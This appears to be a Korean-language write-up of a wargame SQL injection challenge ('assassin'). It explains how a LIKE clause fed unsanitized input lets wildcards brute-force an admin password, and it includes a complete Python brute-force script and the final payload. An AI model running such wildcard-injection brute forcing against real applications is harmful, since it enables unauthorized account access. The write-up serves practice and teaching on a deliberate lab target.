없다.
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.
get으로 요청된 pw값이 '
가 들어가면 프로그램이 죽는다. 즉 이 부분이 필터링 부분이다.
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
그 다음은 query에 sql명령문이 나온다.
명령문은 id
를 찾는데 prob_assassin
이란 테이블에 있어야 하고, pw
가 get으로 입력된 pw
이어야 한다.
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
id
를 찾으면 Hello (찾은 id)
라고 나오고, 만약 id
가 admin
이면 문제가 풀린다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
문제의 query
를 보면 like
를 사용하는 것을 볼 수 있다. sql에서 like
는 _
나 %
를 이용해서 부분적으로 일치하는 컬럼을 찾을 때 사용한다.
즉 brute force를 이용해서 문제를 풀면 될 거 같다.
(문자)%
에서 아무문자나 넣어보면 guest
만 나오고 admin
은 안 나오는 것을 알 수 있다. 즉 이 말은 guest
랑 admin
이랑 pw
값이 비슷하다는 것이다. 그래도 완전히는 똑같이는 않을 거니까 guest
를 따라 찾다보면 pw
의 값을 찾을 수 있을 거 같다.
먼저 익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.
from requests import get
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
그 다음 값을 하나씩 넣으면서 pw값을 찾는다.
pw = ''
flag = 0
while True:
for i in range(48, 97):
j = chr(i)
query = f"{url}/?pw={pw}{j}%"
response = get(query, headers=header)
if "Hello admin" in response.text:
pw += j
flag = 1
break
elif "Hello guest" in response.text:
pw += j
break
print(f"{pw}%")
if flag == 1:
break
print(f"password : {pw}%")
pw
는 찾은 pw
값을 넣는 부분이고, flag
는 admin
의 pw
를 찾으면 flag
를 1
로 만들고, 마지막에 flag
가 1
일 경우 반복문을 탈출한다.
i
의 range
범위가 숫자와 대문자, 그외 문자까지만 있고, 소문자는 체크를 안하는데 sql에서 대소문자를 구분을 안해서 안 넣었다.
i
를 그대로 형변환을 시키면 오류가 생길 거 같아서 j
를 만들어서 i
를 char
형으로 형변환 시킬 때 값 넣는 용으로 사용했다.
brute force 실행 중 때 query
select id from prob_assassin where pw like '1%'
위 과정을 합치면 익스플로잇이 이렇게 나온다.
from requests import get
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
pw = ''
flag = 0
while True:
for i in range(48, 97):
j = chr(i)
query = f"{url}/?pw={pw}{j}%"
response = get(query, headers=header)
if "Hello admin" in response.text:
pw += j
flag = 1
break
elif "Hello guest" in response.text:
pw += j
break
print(f"{pw}%")
if flag == 1:
break
print(f"password : {pw}%")
코드를 실행하면 admin
의 부분적인 pw
값인 902%
을 얻을 수 있다.
그리고 뒤에 /?pw=902%
를 넣으면 문제가 풀린다.